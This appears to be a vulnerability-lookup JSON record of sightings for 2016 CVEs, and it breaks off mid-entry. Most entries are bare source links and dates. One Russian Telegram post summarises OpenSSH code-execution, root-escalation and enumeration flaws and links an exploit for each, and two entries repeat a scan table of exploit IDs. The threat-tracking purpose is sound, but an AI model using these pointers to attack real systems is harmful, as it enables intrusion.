{"vulnerability": "cve-2016-1000", "sightings": [{"uuid": "5654a757-4f08-4598-a772-93e2f0272dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000031", "type": "seen", "source": "MISP/5be322d8-035c-4ef4-8bb6-4a870a021402", "content": "", "creation_timestamp": "2018-11-07T17:40:59.000000Z"}, {"uuid": "636c3670-de7d-4277-b7b7-ab5b8e69123e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "exploited", "source": "https://www.exploit-db.com/exploits/40963", "content": "", "creation_timestamp": "2016-12-23T00:00:00.000000Z"}, {"uuid": "16a60986-3efe-48cb-b1b0-7df3391791be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000", "type": "exploited", "source": "https://www.exploit-db.com/exploits/39610", "content": "", "creation_timestamp": "2016-03-23T00:00:00.000000Z"}, {"uuid": "183eb476-d5cf-4c00-8480-e85ad3f336f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-100028", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:42.000000Z"}, {"uuid": "f771c9c7-94c4-4e89-82c8-085dddf1751f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-100028", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:44.000000Z"}, {"uuid": "99833fb4-63c8-4ec7-a4cf-55d3285596b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "seen", "source": "https://gist.github.com/SWORDIntel/971b083b42de77b48b93a5446d96e9cf", "content": "", "creation_timestamp": "2025-02-21T05:29:01.000000Z"}, {"uuid": "82788181-cd9d-4cb3-b3aa-9622fe693c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://bsky.app/profile/msw.bsky.social/post/3lrexyicuzs2f", "content": "", "creation_timestamp": "2025-06-12T03:25:59.992687Z"}, {"uuid": "6be249c3-0281-4e1b-a03b-4e86d6ae41f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://bsky.app/profile/msw.bsky.social/post/3lreyahne4c2f", "content": "", "creation_timestamp": "2025-06-12T03:30:28.069382Z"}, {"uuid": "28b056b8-0ceb-437a-b5f5-e88f36f22c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-08", "content": "", "creation_timestamp": "2025-04-15T10:00:00.000000Z"}, {"uuid": "514ae06e-d3c6-4f28-a69d-d1ddbbcb71af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-100005", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpsoe5oluc2a", "content": "", "creation_timestamp": "2025-05-23T03:20:25.296055Z"}, {"uuid": "f3c6946e-4170-4fbe-9f29-89f56db84262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10006", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwud77izd22t", "content": "", "creation_timestamp": "2025-08-20T21:02:30.147517Z"}, {"uuid": "6a39142a-ea23-4b46-9362-c77d67fe2f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000282", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/smtp/haraka.py", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "a0ee85a3-6536-4da1-a296-27203196e6a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2016-1000340", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0292/", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "e9ee5903-6c26-4931-9b5a-8be61730a1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2016-1000338", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0292/", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "b75448e1-979e-4bf9-90ee-3a1c139ca845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2016-1000342", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0292/", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "5b7bbd69-1c61-4e1c-8c8a-4a728aec3bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000217", "type": "seen", "source": "https://gist.github.com/alon710/76df39e1185c6e2d8335c296e945a30e", "content": "", "creation_timestamp": "2026-01-24T21:30:41.000000Z"}, {"uuid": "ce274dfc-f59c-4d05-aa4b-8a8de8da6e37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000217", "type": "seen", "source": "https://gist.github.com/alon710/4dab8bcbfe5b3e06b2ed1b1f18ea7712", "content": "", "creation_timestamp": "2026-01-24T21:30:39.000000Z"}, {"uuid": "bccf190c-5a26-4af9-a96f-6194d1b90d32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000217", "type": "seen", "source": "https://gist.github.com/alon710/39c2c0d2266790266586429dad824b6f", "content": "", "creation_timestamp": "2026-01-24T22:42:41.000000Z"}, {"uuid": "ecdf3de8-4bad-439a-990e-8b5783b1df03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2016-1000031", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus-apache-strutsin-tiedostonlatauskomponentissa", "content": "", "creation_timestamp": "2018-12-31T09:45:31.000000Z"}, {"uuid": "4e61728f-3142-48b8-a396-c222d56a9908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "published-proof-of-concept", "source": "Telegram/3pBq5cR6IlqeDtmbK0wx8m04HXDRqV_g5yEoTFBTOYd5yjQ", "content": "", "creation_timestamp": "2026-01-07T03:00:06.000000Z"}, {"uuid": "5bb4826b-f8d4-462c-b99a-89a326766127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "published-proof-of-concept", "source": "https://t.me/antichat/2044", "content": "#linux #unix #exploit #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\n\n\u041f\u043e\u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0431 OpenSSH\n\nOpenSSH \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u043b\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. \u0418 \u043f\u043e\u0445\u043e\u0436\u0435 \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 - \u0447\u0430\u0441\u0442\u043e\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0415\u0441\u043b\u0438 \u0440\u0438\u0441\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0435 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0435\u043c \u0435\u0449\u0435 \u043e\u043f\u0430\u0441\u043d\u044b \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 OpenSSH:\n\nCVE-2016-10009 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c OpenSSH \u043d\u0430 \u041a\u041b\u0418\u0415\u041d\u0422\u0415 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u044f\u043a\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 PKCS11), \u0435\u0441\u043b\u0438 \u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437\u043e\u0431\u0440\u0430\u0437\u0438\u044f \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438: https://www.exploit-db.com/exploits/40963/\n\nCVE-2016-10010 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0440\u0443\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u043e\u043a\u0435\u0442\u0430\u043c \u0434\u043e\u043c\u0435\u043d\u0430 Unix, \u0435\u0441\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e UsePrivilegeSeparation. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40962.zip\n\n\u0410 \u0435\u0449\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u0440\u0441\u0438\u0438 1 SSH \u0438 \u0448\u0438\u0444\u0440\u043e\u0432 Blowfish, RC4 \u0438 3DES-CBC \u0438 RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u043a\u043e\u0440\u043e\u0447\u0435 1024 \u0431\u0438\u0442.\n\nCVE-2016-6210 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0427\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u043d\u0438\u0446\u0443 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0445\u0435\u0448\u0435\u0439 BLOWFISH \u0438 SHA256/SHA512. \u0421\u043a\u0440\u0438\u043f\u0442: https://www.exploit-db.com/exploits/40136/\n\nCVE-2016-6515 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e DoS: https://www.exploit-db.com/exploits/40888/\n\nCVE-2015-6565 - \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8 \u0438 6.9 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 PTY. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://www.exploit-db.com/exploits/45280/", "creation_timestamp": "2018-08-29T07:58:51.000000Z"}, {"uuid": "45c95f66-be21-4dc1-a61e-f79b5cab7b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "seen", "source": "Telegram/lSatndSHKvXeOOkCe4BtgugIcZcDihrdZBJA4iXwuYPkAsH3oA", "content": "", "creation_timestamp": "2025-08-17T02:42:32.000000Z"}, {"uuid": "33e45750-7abb-4803-9b76-15d97877f371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10573", "content": "|       2C119FFA-ECE0-5E14-A4A4-354A2C38071A   10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A        *EXPLOIT*              |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       95499236-C9FE-56A6-9D7D-E943A24B633A   8.9     https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A        *EXPLOIT*              |       PACKETSTORM:140070      7.8   https://vulners.com/packetstorm/PACKETSTORM:140070      *EXPLOIT*              |       EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09   7.8     https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09  *EXPLOIT*      |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       CVE-2016-10012  7.8     https://vulners.com/cve/CVE-2016-10012        |       CVE-2015-8325   7.8     https://vulners.com/cve/CVE-2015-8325         |       1337DAY-ID-26494        7.8   https://vulners.com/zdt/1337DAY-ID-26494*EXPLOIT*                              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       EDB-ID:40888    7.5     https://vulners.com/exploitdb/EDB-ID:40888   *EXPLOIT*                               |       CVE-2016-8858   7.5     https://vulners.com/cve/CVE-2016-8858         |       CVE-2016-6515   7.5     https://vulners.com/cve/CVE-2016-6515         |       CVE-2016-10708  7.5     https://vulners.com/cve/CVE-2016-10708        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2016-10009  7.3     https://vulners.com/cve/CVE-2016-10009        |       SSV:92582       7.2     https://vulners.com/seebug/SSV:92582   *EXPLOIT*                                     |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       CVE-2016-10010  7.0     https://vulners.com/cve/CVE-2016-10010        |       SSV:92580       6.9     https://vulners.com/seebug/SSV:92580   *EXPLOIT*                                     |       1337DAY-ID-26577        6.9   https://vulners.com/zdt/1337DAY-ID-26577*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       EDB-ID:46516    6.8     https://vulners.com/exploitdb/EDB-ID:46516   *EXPLOIT*                               |       EDB-ID:46193    6.8     https://vulners.com/exploitdb/EDB-ID:46193   *EXPLOIT*                               |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       CVE-2019-6110   6.8     https://vulners.com/cve/CVE-2019-6110         |       CVE-2019-6109   6.8     https://vulners.com/cve/CVE-2019-6109         |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "e3e8395c-6dfd-4fff-8828-b34a349562e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2960", "content": "|       2C119FFA-ECE0-5E14-A4A4-354A2C38071A   10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A        *EXPLOIT*              |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       95499236-C9FE-56A6-9D7D-E943A24B633A   8.9     https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A        *EXPLOIT*              |       PACKETSTORM:140070      7.8   https://vulners.com/packetstorm/PACKETSTORM:140070      *EXPLOIT*              |       EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09   7.8     https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09  *EXPLOIT*      |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       CVE-2016-10012  7.8     https://vulners.com/cve/CVE-2016-10012        |       CVE-2015-8325   7.8     https://vulners.com/cve/CVE-2015-8325         |       1337DAY-ID-26494        7.8   https://vulners.com/zdt/1337DAY-ID-26494*EXPLOIT*                              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       EDB-ID:40888    7.5     https://vulners.com/exploitdb/EDB-ID:40888   *EXPLOIT*                               |       CVE-2016-8858   7.5     https://vulners.com/cve/CVE-2016-8858         |       CVE-2016-6515   7.5     https://vulners.com/cve/CVE-2016-6515         |       CVE-2016-10708  7.5     https://vulners.com/cve/CVE-2016-10708        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2016-10009  7.3     https://vulners.com/cve/CVE-2016-10009        |       SSV:92582       7.2     https://vulners.com/seebug/SSV:92582   *EXPLOIT*                                     |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       CVE-2016-10010  7.0     https://vulners.com/cve/CVE-2016-10010        |       SSV:92580       6.9     https://vulners.com/seebug/SSV:92580   *EXPLOIT*                                     |       1337DAY-ID-26577        6.9   https://vulners.com/zdt/1337DAY-ID-26577*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       EDB-ID:46516    6.8     https://vulners.com/exploitdb/EDB-ID:46516   *EXPLOIT*                               |       EDB-ID:46193    6.8     https://vulners.com/exploitdb/EDB-ID:46193   *EXPLOIT*                               |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       CVE-2019-6110   6.8     https://vulners.com/cve/CVE-2019-6110         |       CVE-2019-6109   6.8     https://vulners.com/cve/CVE-2019-6109         |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "8cfe54be-e670-469f-9dea-53ef769c660b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "seen", "source": "Telegram/8z3H3fI-qze-XIkRpbGpPeozYKnU3kZrdFmJVdVOhRYR4Tl9", "content": "", "creation_timestamp": "2024-08-12T22:57:13.000000Z"}, {"uuid": "743a6779-1591-43ec-aa39-2cfd44b1b43b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000229", "type": "published-proof-of-concept", "source": "Telegram/oG5bcDupILYTiSvLrLyuoT30w-kSnnX732ONKp3s5pU3PI0", "content": "", "creation_timestamp": "2025-03-20T22:00:05.000000Z"}, {"uuid": "4d2e37c0-c3ec-4b2c-907a-8be301ad358f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000029", "type": "seen", "source": "https://t.me/ctinow/210282", "content": "https://ift.tt/Zf07eYs\nCVE-2016-1000029 | Tenable Nessus up to 6.7 UI Stored cross site scripting (Nessus ID 92465 / BID-92134)", "creation_timestamp": "2024-03-18T09:11:16.000000Z"}, {"uuid": "194d1ed0-75d2-48f0-8c45-6f2489636ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000028", "type": "seen", "source": "https://t.me/ctinow/210281", "content": "https://ift.tt/YkCzt05\nCVE-2016-1000028 | Tenable Nessus up to 6.7 UI Stored cross site scripting (Nessus ID 92465 / BID-92134)", "creation_timestamp": "2024-03-18T09:11:15.000000Z"}, {"uuid": "5b1a5ed5-d092-4d85-884f-0b4f8d1e2eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000229", "type": "seen", "source": "https://t.me/ctinow/209431", "content": "https://ift.tt/WsfI89L\nCVE-2016-1000229 | Swagger-UI Key Name cross site scripting (RHSA-2017:0868 / BID-97580)", "creation_timestamp": "2024-03-16T09:22:09.000000Z"}, {"uuid": "c8a3e4f4-0284-428c-9b37-89290b72e1e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000022", "type": "seen", "source": "https://t.me/ctinow/209430", "content": "https://ift.tt/jqZL8no\nCVE-2016-1000022 | negotiator up to 0.6.0 Regular Expression resource consumption (RHSA-2016:1605 / Nessus ID 119377)", "creation_timestamp": "2024-03-16T09:22:07.000000Z"}, {"uuid": "a5dcc9c9-90db-449c-b394-2dad5fac7987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000108", "type": "seen", "source": "https://t.me/ctinow/203905", "content": "https://ift.tt/GXws6vM\nCVE-2016-1000108 | Yaws up to 2.0.3 HTTP_PROXY redirect", "creation_timestamp": "2024-03-09T12:11:26.000000Z"}, {"uuid": "e9077e76-101b-4fcf-ad35-2ec7f136eadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000107", "type": "seen", "source": "https://t.me/ctinow/203904", "content": "https://ift.tt/UdC2Ycx\nCVE-2016-1000107 | Erlang up to 22.1 inets HTTP_PROXY redirect", "creation_timestamp": "2024-03-09T12:11:24.000000Z"}, {"uuid": "dd2736a1-f300-48bf-b8c7-f76257ff0eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000110", "type": "seen", "source": "https://t.me/ctinow/195691", "content": "https://ift.tt/VjQ7yx6\nCVE-2016-1000110 | Python up to 2.7.11 CGI Script CGIHandler HTTP_PROXY redirect (Nessus ID 96165 / ID 14611)", "creation_timestamp": 